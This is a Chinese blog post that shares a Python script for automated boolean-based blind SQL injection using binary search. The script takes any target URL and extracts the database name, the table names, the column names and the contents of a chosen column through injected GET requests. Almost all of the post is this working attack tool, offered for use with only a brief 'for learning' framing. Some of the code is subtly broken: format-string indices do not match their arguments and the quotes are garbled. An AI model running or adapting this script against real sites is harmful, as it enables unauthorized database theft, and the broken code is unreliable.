sql盲注框架

Posted 2020-12-08 silkage

最近写了一个sql盲注的框架脚本，采用了二分法，这个脚本仅仅是一个框架，功能很单一，就当是学习使用了吧

# -*- coding:utf-8 -*-
# -*- Author:Silkage
# -*- time:2020.5.26
import requests

def db_length(url,str):
	print("[-]开始测试数据库名长度.......")
	min = 0
	max = 20
	while abs(max - min) > 1:
		mid = (max + min)//2
		db_payload = url + "1{1} and (length(database())>={0})--+".format(mid,misc)
		r = requests.get(db_payload)
		if str in r.text:
			min = mid
			db_length = mid
		else:
			max = mid       
	print("[+]数据库长度：{0}
".format(db_length))
	db_name(db_length)		#进行下一步，测试库名
def db_name(db_length):
	print("[-]开始测试数据库名.......")
	db_name=‘‘
	for i in range(1,db_length+1):  
		min = 33
		max = 127
		while abs(max - min) > 1:
			mid = (max + min)//2
			db_payload=url+"1{2} and (ord(mid(database(),{0},1))>=‘{1}‘)--+".format(i,mid,misc)
			r = requests.get(db_payload)
			if str in r.text:
				min = mid
			else:
				max = mid
		db_name += chr(mid-1)
	print("[+]数据库名：{0}
".format(db_name))
	tb_num(db_name)
def tb_num(db_name):
	print("开始测试{0}数据库有几张表........".format(db_name))
	min = 0
	max = 100
	while abs(max - min) > 1:
		mid = (max + min)//2
		tb_payload=url+"1{2} and (select count(table_name) from information_schema.tables where table_schema=‘{0}‘)>={1}--+".format(db_name,mid,misc)
		r = requests.get(tb_payload)
		if str in r.text:
			min = mid
			tb_num = mid
		else:
			max = mid       
	print("[+]{0}库一共有{1}张表
".format(db_name,tb_num))
	tb_name(db_name,tb_num)#进行下一步，猜解表名
#************************************************************************************************************************************************************************************************************
def tb_name(db_name,tb_piece):
	print("[-]开始猜解表名.......")
	table_list=[]
	for i in range(tb_piece):
		#str_list=ascii_str()
		min = 0
		max = 20
		tb_length=0
		tb_name=‘‘
		while abs(max - min) > 1:
			mid = (max + min)//2
			tb_payload=url+"1{2} and (select length(table_name) from information_schema.tables where table_schema=database() limit {0},1)>={1}--+".format(i,mid,misc)
			r=requests.get(tb_payload)
			if str in r.text:
				min = mid
				tb_length = mid
			else:
				max = mid
		print("[+]第{0}张表长度：{1}".format(i+1,tb_length))
		for k in range(1,tb_length+1):
			min = 33
			max = 127
			while (max - min) > 1:
				mid = (max + min)//2
				tb_payload = url+"1{3} and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>={2}--+".format(i,k,mid,misc)
				r = requests.get(tb_payload)
				if str in r.text:
					min = mid
					flag =chr(mid)
				else:
					max = mid
			tb_name += flag
		print("表名：{0}".format(tb_name))
	tb_name = input("
输入想要测试的表名：")
	column_num(tb_name,db_name)#进行下一步，猜解表的字段数

def column_num(tb_name,db_name):
	print("
[-]开始猜解{0}表的字段数：.......".format(tb_name))
	min = 0
	max = 20#字段数的上限
	while abs(max - min) > 1:
		mid = (max + min)//2
		payload = url + "1{2} and (select count(column_name) from information_schema.columns where table_name=‘{0}‘)>={1}--+".format(tb_name,mid,misc)
		r = requests.get(payload)
		if str in r.text:
			min = mid
			column_num = mid
		else:
			max = mid
	print("[+]{0}表对应的字段数：{1}".format(tb_name,column_num))
	print("
[-]开始猜解{0}表的字段名.......".format(tb_name))
	print("
[+]{0}表的字段：".format(tb_name))
	for i in range(column_num):#i表示每张表的字段数量
		column_name=‘‘
		for j in range(1,21):#j表示每个字段的长度
			column_name_length=url+"1{3} and {0}=(select length(column_name) from information_schema.columns where table_name=‘{1}‘ limit {2},1)--+".format(j-1,tb_name,i,misc)
			r=requests.get(column_name_length)
			if str in r.text:
				column_length = j
				break
			min = 33
			max = 127
			while abs(max - min) > 1:
				mid = (max + min)//2
				column_payload=url+"1{4} and ord(mid((select column_name from information_schema.columns where table_name=‘{0}‘ limit {1},1),{2},1))>={3}--+".format(tb_name,i,j,mid,misc)
				r=requests.get(column_payload)
				if str in r.text:
					min = mid
					flag = chr(mid)
				else:
					max = mid
			column_name += flag

		print(‘[+]：{0}‘.format(column_name))
	column_name = input("输入想要测试的字段名: ")
	dump_data(tb_name,column_name,db_name)#进行最后一步，输出指定字段的数据
def dump_data(tb_name,column_name,db_name):
	print("
[-]对{0}表的{1}字段进行爆破......".format(tb_name,column_name))
	min = 0
	max = 20
	data_num = 0
	while abs(max-min) > 1:#先测有几条数据
		mid = (max + min)//2
		data_num_payload = url+"1{4} and (select count({0}) from {1}.{2})>={3}--+".format(column_name,db_name,tb_name,mid,misc)
		r = requests.get(data_num_payload)
		if str in r.text:
			min = mid
			data_num = mid
		else:
			max = mid
	print("
[+]{0}表中的{1}字段有以下{2}条数据：".format(tb_name,column_name,data_num))
	#上面已经没有问题了,已经搞定字段里有几条数据了
	for k in range(data_num):#数据的条数，保证循环几次
		data_len = 0
		dump_data = ‘‘
		for l in range(1,30):#l表示每条数据的长度，合理范围即可
			data_len_payload = url+"1{5} and (select length({0}) from {1}.{2} limit {3},1)={4}".format(column_name,db_name,tb_name,k,l,misc)
			r = requests.get(data_len_payload)
			if str in r.text:
				data_len = l
				#print("长度是{0}".format(data_len))
				break
		for x in range(1,data_len+1):#x表示每条数据的实际范围，作为mid截取的范围
			min = 33
			max = 127
			while abs(max - min) > 1:
				mid = (max + min)//2
				data_payload=url+"1{6} and (select ord(mid((select {0} from {1}.{2} limit {3},1),{4},1)))>={5}--+".format(column_name,db_name,tb_name,k,x,mid,misc)
				r = requests.get(data_payload)
				if str in r.text:
					min = mid
					flag = chr(mid)
				else:
					max = mid
			dump_data += flag
		print(‘[+]{0}‘.format(dump_data))#输出每条数据
#***************************************************************************************************************************************************************************************************************
if __name__ == ‘__main__‘:
	print(" 博客：https://www.cnblog.com/Silkage/   ")
	url = input("输入要测试的url：")
	str = input("payload成功执行的页面标志：")
	misc = input("id后面有 ‘ 的话输入’，没有就打回车: ")
	db_length(url,str) #程序入口

以后有空会再优化一下，各位大佬有什么建议也欢迎指出来！！！